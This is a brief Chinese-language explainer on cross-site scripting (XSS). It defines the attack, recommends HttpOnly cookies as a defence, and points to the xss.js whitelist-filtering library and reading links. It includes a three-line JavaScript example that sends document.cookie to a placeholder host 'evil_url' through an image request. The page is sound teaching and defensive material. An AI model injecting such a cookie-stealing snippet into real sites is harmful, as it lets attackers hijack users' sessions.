XSS (Cross Site Script, 跨站脚本攻击)

创建时间:
2015-03-04 22:37
最近更新:
2018-08-25 23:43

What

攻击者 利用网站的 XSS 漏洞,通过表单提交等途径,向网站 注入 恶意代码 (HTML、JavaScript 等),当其它用户浏览该网站时,这些恶意代码会自动执行,从而达到攻击目的,例如 盗取用户 Cookie、破坏页面结构、重定向到其它网站等。

跨站脚本攻击 脚本示例

var img = document.createElement('img');
img.src = 'http://evil_url?c=' + encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

跨站脚本攻击 防御

将 cookie 设置为 HttpOnly。一旦一个 cookie 被设置为 HttpOnly,JavaScript 将无法通过 document.cookie 读取它。那么即使存在 XSS 漏洞也无法简单的进行会话劫持攻击,只能转而通过其他的方式 获取 cookie,一定程度上防止了 XSS 攻击。

开源库 xss.js - 根据白名单过滤 HTML

  1. Official Website
  2. Documentation - 根据白名单过滤 HTML (防止 XSS 攻击)
  3. Online Demo

Resource

  1. 关于 XSS (跨站脚本攻击) 和 CSRF (跨站请求伪造)
  2. 那些年我们一起学 XSS
  3. 延长 XSS 生命期